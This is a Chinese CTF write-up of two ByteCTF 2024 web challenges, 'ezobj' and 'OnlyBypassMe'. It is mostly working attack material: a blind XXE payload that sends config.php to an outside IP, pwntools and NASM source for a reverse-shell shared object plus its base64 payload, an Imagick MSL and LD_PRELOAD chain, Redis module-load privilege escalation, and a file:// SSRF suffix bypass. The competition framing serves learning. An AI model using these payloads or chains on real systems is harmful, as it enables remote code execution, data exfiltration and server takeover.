获取中...

-

Just a minute...

ezobj

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);
// echo $b;
} elseif (isset($_GET['clean'])){
array_map('unlink', glob('/tmp/*'));
} else {
highlight_file(__FILE__);
echo 'Hello ByteCTF2024!';
}

首先需要读取config.php里的$secret

1
2
3
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);
// echo $b;

这里是另一种方式的php原生类利用,没有给回显,就可以尝试加载外部实体xml读文件。

可以看看这篇文章:任意代码执行下的php原生类利用

evil1.xml

1
2
3
4
5
6
7
<?xml version="1.0"?>  
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.108.89.135/evils/send.xml">
%remote;
%all;
%send;
]>

send.xml

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=config.php"> 
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://47.108.89.135/send.php?file=%file;'>">

payload:

1
?byte=SimpleXMLElement&ctf[]=http://47.108.89.135/evils/evil1.xml

读到$secret=HelloByteCTF2024

然后我们需要在/tmp里写纯数字的so文件,php会把它加入环境变量,可以通过某种方式加载这个so来执行命令。

可以通过Imagick触发msl

evil2.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,base64编码后的so文件" />
<write filename="/tmp/123.so" />
</image>
1
2
3
4
运行这个可以在/tmp里写进去你原模原样的evil2.xml,而且文件名是随机的:
?byte=Imagick&ctf[]=http://47.108.89.135/evils/evil2.xml
然后再运行这个,可以解析tmp目录下的所有xml文件,就会生成123.so了,而且内容是base64解码之后的so
byte=Imagick&ctf[]=vid:msl:/tmp/*

直接这样写不进去直接用C语言编译的so文件,可能是文件过大的原因,这里请求pwn师傅写了一个手搓so文件的脚本,用这个脚本生成的代码去编译生成的so会很小。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.update(arch='amd64',os='linux')
# 目标地址和端口
target_ip = "47.108.89.135"
target_port = 2333

connect_code = shellcraft.connect(target_ip, target_port)
dup_shell_code = shellcraft.dupsh()
full_code = connect_code + dup_shell_code

with open(r'C:\Users\13664\Desktop\test.txt', 'w') as f:
f.write(full_code)

https://blingblingxuanxuan.github.io/2024/01/29/240129-the-smallest-elf/

然后把生成的东西覆盖掉_start:的内容,把注释和关键字删去。

恶意so文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
BITS 64
org 0x0

ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 3 ; e_type : ET_DYN
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq 0x40 ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw 0x40 ; e_ehsize
dw 0x38 ; e_phentsize
dw 2 ; e_phnum
dw 0 ; e_shentsize ;
dw 0 ; e_shnum ;
dw 0 ; e_shstrnd ;

phdr_loadable: ; Elf64_Phdr
dd 1 ; p_type
dd 7 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq loadable_size ; p_filesz
dq loadable_size ; p_memsz
dq 0x1000 ; p_align

phdr_dynamic: ; Elf64_Phdr
dd 2 ; p_type
dd 7 ; p_flags
dq loadable_size ; p_offset
dq _dynamic ; p_vaddr
dq _dynamic ; p_paddr
dq dynamic_size ; p_filesz
dq dynamic_size ; p_memsz
dq 0x8 ; p_align

_start:
push 41 ; 将 socket 系统调用号压入栈
pop rax ; 将系统调用号取出到 rax
push 2 ; 将地址族 AF_INET (2) 压入栈
pop rdi ; 将地址族取出到 rdi
push 1 ; 将套接字类型 SOCK_STREAM (1) 压入栈
pop rsi ; 将类型取出到 rsi
cdq ; 将 rdx 清零 (用于协议)
syscall ; 调用系统调用
mov rbp, rax ; 将返回的 socket 文件描述符保存到 rbp
mov rax, 0x101010101010101 ; 创建一个全 1 的值
push rax ; 将其压入栈
mov rax, 0x101010101010101 ^ -0x78a693d0e2f6fffe ; 生成目标地址
xor [rsp], rax ; 设置 sockaddr 结构体的内容
push 42 ; 将 connect 系统调用号压入栈
pop rax ; 取出到 rax
mov rdi, rbp ; 将 socket 文件描述符移入 rdi
push 0x10 ; socklen_t addrlen
pop rdx ; 将长度取出到 rdx
mov rsi, rsp ; 将 sockaddr 结构体指针移入 rsi
syscall ; 调用 connect
mov rdi, rbp ; 将 socket 文件描述符移入 rdi
push 2 ; 需要重定向的文件描述符数量
pop rsi ; 将计数存入 rsi
loop_1:
push 33 ; 将 dup2 系统调用号压入栈
pop rax ; 取出到 rax
syscall ; 调用 dup2
dec rsi ; 递减计数
jns loop_1 ; 如果 rsi >= 0,继续循环
push 0x68 ; 压入字符串的后半部分
mov rax, 0x732f2f2f6e69622f ; 压入 '/bin/sh' 的小端格式
push rax ; 将路径压入栈
mov rdi, rsp ; 将路径指针移入 rdi
push 0x1010101 ^ 0x6873 ; 创建参数数组的后半部分
xor dword [rsp], 0x1010101 ; 清理 argv
xor esi, esi ; envp = NULL
push rsi ; null terminate
push 8 ; argv 数组长度
pop rsi ; 计算 argv 的地址
add rsi, rsp ; 将参数数组指针调整
push rsi ; 'sh'
mov rsi, rsp ; 将 argv 指针移入 rsi
xor edx, edx ; envp = NULL
push 59 ; 将 execve 系统调用号压入栈
pop rax ; 取出到 rax
syscall ; 调用 execve

loadable_size equ $ - ehdr

_dynamic:
dq 6FFFFEF5h,_hash ;DT_HASH
dq 5, 0 ;DT_STRTAB
dq 6, 0 ;DT_SYMTAB
dq 0Ah, 0 ;DT_STRSZ
dq 0Bh, 0 ;DT_SYMENT
dq 0Ch, _start ;DT_INIT
dq 0,0 ;DT_NULL

dynamic_size equ $ - _dynamic

_hash:
dd 1
dd 1
dd 1
dd 0
dq 0
dd 0
dd 0

然后编译,生成123.so

1
nasm -f bin -o 123.so 1.txt

evil2.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAsAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAAAAQAAAAAAAAAgAAAAcAAAAmAQAAAAAAACYBAAAAAAAAJgEAAAAAAABwAAAAAAAAAHAAAAAAAAAACAAAAAAAAABqKVhqAl9qAV6ZDwVIicVIuAEBAQEBAQEBUEi4AwEIHC5tWIZIMQQkaipYSInvahBaSInmDwVIie9qAl5qIVgPBUj/znn2amhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F9f7/bwAAAACWAQAAAAAAAAUAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAACgAAAAAAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAAAAAAAMAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" />
<write filename="/tmp/123.so" />
</image>

经过一系列操作后,发现so文件并没有成功被加载。

https://www.anquanke.com/post/id/175403%C3%82%C2%A0#h2-6

我们发现当文件是MPEG format时,程序会调用’ffmpeg’ program进行转换,而如下后缀都被认为成MPEG format

1
WMV MOV M4V M2V MP4 MPG MPEG MKV AVI 3G2 3GP

image-20240921220848970

意思是,在调用MPEG format文件的时候,才会调用so文件。那我们还要同时写一个MPEG format类型的文件

evil2.xml

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAsAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAAAAQAAAAAAAAAgAAAAcAAAAmAQAAAAAAACYBAAAAAAAAJgEAAAAAAABwAAAAAAAAAHAAAAAAAAAACAAAAAAAAABqKVhqAl9qAV6ZDwVIicVIuAEBAQEBAQEBUEi4AwEIHC5tWIZIMQQkaipYSInvahBaSInmDwVIie9qAl5qIVgPBUj/znn2amhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F9f7/bwAAAACWAQAAAAAAAAUAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAACgAAAAAAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAAAAAAAMAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" />
<write filename="/tmp/123.so" />
<write filename="/tmp/123.wmv" />
</image>

这样会在/tmp里同时生成一个123.wmv,而且要在加载so的时候同时加载123.wmv

1
?so=123&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/123.wmv

我们在服务器上起监听,就能弹到shell了。

image-20240921221212138

然后到处都找不到flag,查看启动的进程,发现存在redis

image-20240921221300995

同时在/etc/redis-6.0.8/redis.conf里找到了链接redis的密码bytectfa0d90b

image-20240921221448775

有了redis密码之后经过尝试,可以进行主从复制提权。

利用https://github.com/0671/RabR/blob/main/exp/linux/exp.so这个恶意so文件。

先把这个下载上传到vps上,然后再shell里利用wget下载到/tmp目录下

image-20240921221847625

记得利用chmod 777 exp.so 命令给予他可执行权限。

链接redis:redis-cli -h 127.0.0.1 -a bytectfa0d90b

加载恶意so文件:module load /tmp/exp.so

rce :system.exec “id”

在root目录下找到了flag

image-20240921222049205

ByteCTF{42865f30bdd60920bff32aff81bfeeb4}

OnlyBypassMe

开局一个报错页面,是Spring Boot的报错页面,直接拿工具扫!

image-20240921222552652

image-20240921222711981

扫到了/swagger-ui.html,这是网站的api

先注册一个用户

image-20240921222933693

然后去登录

image-20240921223018429

注意到有一个被删除的路由,这里可能有漏洞,这里更新的头像是url的,尝试发现可以利用file伪协议读文件。

image-20240921223112810

直接传{"url":"file:///etc/passwd"}行不通,提示

1
2
3
4
5
6
7
8
9
10
{
"code" : 500,
"message" : "文件格式错误,仅支持jpg/png/gif/jpeg类型文件",
"data" : [ ],
"timestamp" : "2024-09-21 14:32:45",
"error" : "文件格式错误,仅支持jpg/png/gif/jpeg类型文件",
"status" : false,
"nums" : 0,
"requestId" : "2024092114324500016"
}

可以用#截断后面的后缀{"url":"file:///etc/passwd#.png"}

然后进去/api/v1/users/getUserAvatar就能读到想要的文件。

image-20240921223554128

但是flag没有在根目录,通过读取/etc/passwd发现有mysql服务。

1
mysql:x:105:106:MySQL Server,,,:/nonexistent:/bin/false

Linux下MySQL的数据文件存放位置

linux mysql默认数据库目录:/var/lib/mysql/

MySQL数据库文件的存放路径及目录

最后在/var/lib/mysql/byteCTF/flag.ibd里找到了flag

{"url":"file:///var/lib/mysql/byteCTF/flag.ibd#.png"}

image-20240921223816163

获取到的内容解密后得到flag

ByteCTF{b0b563351887fdb76459eee6ce17472f}

相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解